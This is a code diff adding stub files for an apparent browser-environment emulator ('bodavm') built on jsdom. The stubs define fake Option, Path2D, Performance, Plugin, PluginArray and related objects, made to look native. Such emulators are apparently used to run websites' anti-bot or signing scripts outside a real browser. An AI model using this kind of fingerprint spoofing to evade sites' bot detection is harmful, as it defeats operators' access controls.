enumerable:true, writable:true, value:function lineTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "lineTo", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "moveTo", {configurable:true, enumerable:true, writable:true, value:function moveTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "moveTo", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "quadraticCurveTo", {configurable:true, enumerable:true, writable:true, value:function quadraticCurveTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "quadraticCurveTo", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "rect", {configurable:true, enumerable:true, writable:true, value:function rect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "rect", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "resetTransform", {configurable:true, enumerable:true, writable:true, value:function resetTransform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "resetTransform", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "restore", {configurable:true, enumerable:true, writable:true, value:function restore (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "restore", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "rotate", {configurable:true, enumerable:true, writable:true, value:function rotate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "rotate", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "strokeRect", {configurable:true, enumerable:true, writable:true, value:function strokeRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "strokeRect", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/Option.js b/env_xbb_lastest_jsdom/env copy/Option.js new file mode 100644 index 00000000..a3357f8c --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/Option.js @@ -0,0 +1,17 @@ +// Option对象 +bodavm.memory.globalobj['Option'] = function Option(){ + if (!(this instanceof Option)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'Option': Please use the 'new' operator, this DOM object constructor cannot be called as a function") + }; + +} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Option'], "Option"); +bodavm.memory.globalobj['Option'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.toolsFunc.defineProperty('Option', "disabled", {configurable:true, enumerable:true, get:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "disabled_get", arguments)}, set:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "disabled_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Option', "form", {configurable:true, enumerable:true, get:function form (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "form_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Option', "label", {configurable:true, enumerable:true, get:function label (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "label_get", arguments)}, set:function label (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "label_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Option', "defaultSelected", {configurable:true, enumerable:true, get:function defaultSelected (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "defaultSelected_get", arguments)}, set:function defaultSelected (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "defaultSelected_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Option', "selected", {configurable:true, enumerable:true, get:function selected (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "selected_get", arguments)}, set:function selected (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "selected_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Option', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "value_get", arguments)}, set:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "value_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Option', "text", {configurable:true, enumerable:true, get:function text (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "text_get", arguments)}, set:function text (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "text_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Option', "index", {configurable:true, enumerable:true, get:function index (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "index_get", arguments)}, set:undefined},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/Path2D.js b/env_xbb_lastest_jsdom/env copy/Path2D.js new file mode 100644 index 00000000..a3671a31 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/Path2D.js @@ -0,0 +1,18 @@ +// Path2D对象 +bodavm.memory.globalobj['Path2D'] = function Path2D(){ + if (!(this instanceof Path2D)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'Path2D': Please use the 'new' operator, this DOM object constructor cannot be called as a function") + }; +} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Path2D'], "Path2D"); +bodavm.toolsFunc.defineProperty('Path2D', "addPath", {configurable:true, enumerable:true, writable:true, value:function addPath (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Path2D'].prototype, "Path2D", "addPath", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Path2D', "roundRect", {configurable:true, enumerable:true, writable:true, value:function roundRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Path2D'].prototype, "Path2D", "roundRect", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Path2D', "arc", {configurable:true, enumerable:true, writable:true, value:function arc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Path2D'].prototype, "Path2D", "arc", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Path2D', "arcTo", {configurable:true, enumerable:true, writable:true, value:function arcTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Path2D'].prototype, "Path2D", "arcTo", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Path2D', "bezierCurveTo", {configurable:true, enumerable:true, writable:true, value:function bezierCurveTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Path2D'].prototype, "Path2D", "bezierCurveTo", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Path2D', "closePath", {configurable:true, enumerable:true, writable:true, value:function closePath (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Path2D'].prototype, "Path2D", "closePath", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Path2D', "ellipse", {configurable:true, enumerable:true, writable:true, value:function ellipse (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Path2D'].prototype, "Path2D", "ellipse", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Path2D', "lineTo", {configurable:true, enumerable:true, writable:true, value:function lineTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Path2D'].prototype, "Path2D", "lineTo", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Path2D', "moveTo", {configurable:true, enumerable:true, writable:true, value:function moveTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Path2D'].prototype, "Path2D", "moveTo", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Path2D', "quadraticCurveTo", {configurable:true, enumerable:true, writable:true, value:function quadraticCurveTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Path2D'].prototype, "Path2D", "quadraticCurveTo", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Path2D', "rect", {configurable:true, enumerable:true, writable:true, value:function rect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Path2D'].prototype, "Path2D", "rect", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/Performance.js b/env_xbb_lastest_jsdom/env copy/Performance.js new file mode 100644 index 00000000..7792ab0d --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/Performance.js @@ -0,0 +1,27 @@ +// Performance对象 +bodavm.memory.globalobj['Performance'] = function Performance(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Performance'], "Performance"); +bodavm.memory.globalobj['Performance'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['Performance'].__proto__=bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('Performance', "timeOrigin", {configurable:true, enumerable:true, get:function timeOrigin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "timeOrigin_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Performance', "onresourcetimingbufferfull", {configurable:true, enumerable:true, get:function onresourcetimingbufferfull (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "onresourcetimingbufferfull_get", arguments)}, set:function onresourcetimingbufferfull (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "onresourcetimingbufferfull_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Performance', "clearMarks", {configurable:true, enumerable:true, writable:true, value:function clearMarks (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "clearMarks", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Performance', "clearMeasures", {configurable:true, enumerable:true, writable:true, value:function clearMeasures (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "clearMeasures", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Performance', "clearResourceTimings", {configurable:true, enumerable:true, writable:true, value:function clearResourceTimings (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "clearResourceTimings", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Performance', "getEntries", {configurable:true, enumerable:true, writable:true, value:function getEntries (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "getEntries", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Performance', "getEntriesByName", {configurable:true, enumerable:true, writable:true, value:function getEntriesByName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "getEntriesByName", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Performance', "getEntriesByType", {configurable:true, enumerable:true, writable:true, value:function getEntriesByType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "getEntriesByType", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Performance', "mark", {configurable:true, enumerable:true, writable:true, value:function mark (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "mark", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Performance', "measure", {configurable:true, enumerable:true, writable:true, value:function measure (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "measure", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Performance', "now", {configurable:true, enumerable:true, writable:true, value:function now (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "now", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Performance', "setResourceTimingBufferSize", {configurable:true, enumerable:true, writable:true, value:function setResourceTimingBufferSize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "setResourceTimingBufferSize", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Performance', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "toJSON", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Performance', "timing", {configurable:true, enumerable:true, get:function timing (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "timing_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Performance', "navigation", {configurable:true, enumerable:true, get:function navigation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "navigation_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Performance', "memory", {configurable:true, enumerable:true, get:function memory (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "memory_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Performance', "eventCounts", {configurable:true, enumerable:true, get:function eventCounts (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "eventCounts_get", arguments)}, set:undefined},'prototype'); + +// performance对象 +bodavm.memory.globalobj[ 'performance'] = {} +bodavm.memory.globalobj[ 'performance'].__proto__=bodavm.memory.globalobj['Performance'].prototype; + diff --git a/env_xbb_lastest_jsdom/env copy/PerformanceEntry.js b/env_xbb_lastest_jsdom/env copy/PerformanceEntry.js new file mode 100644 index 00000000..f654fbc7 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/PerformanceEntry.js @@ -0,0 +1,8 @@ +// PerformanceEntry对象 +bodavm.memory.globalobj['PerformanceEntry'] = function PerformanceEntry(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PerformanceEntry'], "PerformanceEntry"); +bodavm.toolsFunc.defineProperty('PerformanceEntry', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceEntry'].prototype, "PerformanceEntry", "name_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceEntry', "entryType", {configurable:true, enumerable:true, get:function entryType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceEntry'].prototype, "PerformanceEntry", "entryType_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceEntry', "startTime", {configurable:true, enumerable:true, get:function startTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceEntry'].prototype, "PerformanceEntry", "startTime_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceEntry', "duration", {configurable:true, enumerable:true, get:function duration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceEntry'].prototype, "PerformanceEntry", "duration_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceEntry', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceEntry'].prototype, "PerformanceEntry", "toJSON", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/PerformancePaintTiming.js b/env_xbb_lastest_jsdom/env copy/PerformancePaintTiming.js new file mode 100644 index 00000000..82438e19 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/PerformancePaintTiming.js @@ -0,0 +1,5 @@ +// PerformancePaintTiming对象 +bodavm.memory.globalobj['PerformancePaintTiming'] = function PerformancePaintTiming(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PerformancePaintTiming'], "PerformancePaintTiming"); +bodavm.memory.globalobj['PerformancePaintTiming'].prototype.__proto__=bodavm.memory.globalobj['PerformanceEntry'].prototype; +bodavm.memory.globalobj['PerformancePaintTiming'].__proto__=bodavm.memory.globalobj['PerformanceEntry']; diff --git a/env_xbb_lastest_jsdom/env copy/PerformanceResourceTiming.js b/env_xbb_lastest_jsdom/env copy/PerformanceResourceTiming.js new file mode 100644 index 00000000..024e5218 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/PerformanceResourceTiming.js @@ -0,0 +1,26 @@ +// PerformanceResourceTiming对象 +bodavm.memory.globalobj['PerformanceResourceTiming'] = function PerformanceResourceTiming(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PerformanceResourceTiming'], "PerformanceResourceTiming"); +bodavm.memory.globalobj['PerformanceResourceTiming'].prototype.__proto__=bodavm.memory.globalobj['PerformanceEntry'].prototype; +bodavm.memory.globalobj['PerformanceResourceTiming'].__proto__=bodavm.memory.globalobj['PerformanceEntry']; +bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "initiatorType", {configurable:true, enumerable:true, get:function initiatorType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "initiatorType_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "nextHopProtocol", {configurable:true, enumerable:true, get:function nextHopProtocol (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "nextHopProtocol_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "workerStart", {configurable:true, enumerable:true, get:function workerStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "workerStart_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "redirectStart", {configurable:true, enumerable:true, get:function redirectStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "redirectStart_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "redirectEnd", {configurable:true, enumerable:true, get:function redirectEnd (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "redirectEnd_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "fetchStart", {configurable:true, enumerable:true, get:function fetchStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "fetchStart_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "domainLookupStart", {configurable:true, enumerable:true, get:function domainLookupStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "domainLookupStart_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "domainLookupEnd", {configurable:true, enumerable:true, get:function domainLookupEnd (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "domainLookupEnd_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "connectStart", {configurable:true, enumerable:true, get:function connectStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "connectStart_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "connectEnd", {configurable:true, enumerable:true, get:function connectEnd (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "connectEnd_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "secureConnectionStart", {configurable:true, enumerable:true, get:function secureConnectionStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "secureConnectionStart_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "requestStart", {configurable:true, enumerable:true, get:function requestStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "requestStart_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "responseStart", {configurable:true, enumerable:true, get:function responseStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "responseStart_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "responseEnd", {configurable:true, enumerable:true, get:function responseEnd (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "responseEnd_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "transferSize", {configurable:true, enumerable:true, get:function transferSize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "transferSize_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "encodedBodySize", {configurable:true, enumerable:true, get:function encodedBodySize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "encodedBodySize_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "decodedBodySize", {configurable:true, enumerable:true, get:function decodedBodySize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "decodedBodySize_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "serverTiming", {configurable:true, enumerable:true, get:function serverTiming (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "serverTiming_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "toJSON", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "renderBlockingStatus", {configurable:true, enumerable:true, get:function renderBlockingStatus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "renderBlockingStatus_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "responseStatus", {configurable:true, enumerable:true, get:function responseStatus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "responseStatus_get", arguments)}, set:undefined},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/PermissionStatus.js b/env_xbb_lastest_jsdom/env copy/PermissionStatus.js new file mode 100644 index 00000000..60f6118b --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/PermissionStatus.js @@ -0,0 +1,8 @@ +// PermissionStatus对象 +bodavm.memory.globalobj['PermissionStatus'] = function PermissionStatus(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PermissionStatus'], "PermissionStatus"); +bodavm.memory.globalobj['PermissionStatus'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['PermissionStatus'].__proto__=bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('PermissionStatus', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PermissionStatus'].prototype, "PermissionStatus", "name_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('PermissionStatus', "state", {configurable:true, enumerable:true, get:function state (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PermissionStatus'].prototype, "PermissionStatus", "state_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('PermissionStatus', "onchange", {configurable:true, enumerable:true, get:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PermissionStatus'].prototype, "PermissionStatus", "onchange_get", arguments)}, set:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PermissionStatus'].prototype, "PermissionStatus", "onchange_set", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/Permissions.js b/env_xbb_lastest_jsdom/env copy/Permissions.js new file mode 100644 index 00000000..16930689 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/Permissions.js @@ -0,0 +1,4 @@ +// Permissions对象 +bodavm.memory.globalobj['Permissions'] = function Permissions(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Permissions'], "Permissions"); +bodavm.toolsFunc.defineProperty('Permissions', "query", {configurable:true, enumerable:true, writable:true, value:function query (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Permissions'].prototype, "Permissions", "query", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/Plugin.js b/env_xbb_lastest_jsdom/env copy/Plugin.js new file mode 100644 index 00000000..0671d5e4 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/Plugin.js @@ -0,0 +1,9 @@ +// Plugin对象 +bodavm.memory.globalobj['Plugin'] = function Plugin(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Plugin'], "Plugin"); +bodavm.toolsFunc.defineProperty('Plugin', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Plugin'].prototype, "Plugin", "name_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Plugin', "filename", {configurable:true, enumerable:true, get:function filename (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Plugin'].prototype, "Plugin", "filename_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Plugin', "description", {configurable:true, enumerable:true, get:function description (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Plugin'].prototype, "Plugin", "description_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Plugin', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Plugin'].prototype, "Plugin", "length_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Plugin', "item", {configurable:true, enumerable:true, writable:true, value:function item (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Plugin'].prototype, "Plugin", "item", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Plugin', "namedItem", {configurable:true, enumerable:true, writable:true, value:function namedItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Plugin'].prototype, "Plugin", "namedItem", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/PluginArray.js b/env_xbb_lastest_jsdom/env copy/PluginArray.js new file mode 100644 index 00000000..128bb798 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/PluginArray.js @@ -0,0 +1,7 @@ +// PluginArray对象 +bodavm.memory.globalobj['PluginArray'] = function PluginArray(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PluginArray'], "PluginArray"); +bodavm.toolsFunc.defineProperty('PluginArray', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PluginArray'].prototype, "PluginArray", "length_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('PluginArray', "item", {configurable:true, enumerable:true, writable:true, value:function item (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PluginArray'].prototype, "PluginArray", "item", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('PluginArray', "namedItem", {configurable:true, enumerable:true, writable:true, value:function namedItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PluginArray'].prototype, "PluginArray", "namedItem", arguments)}},'prototype'); 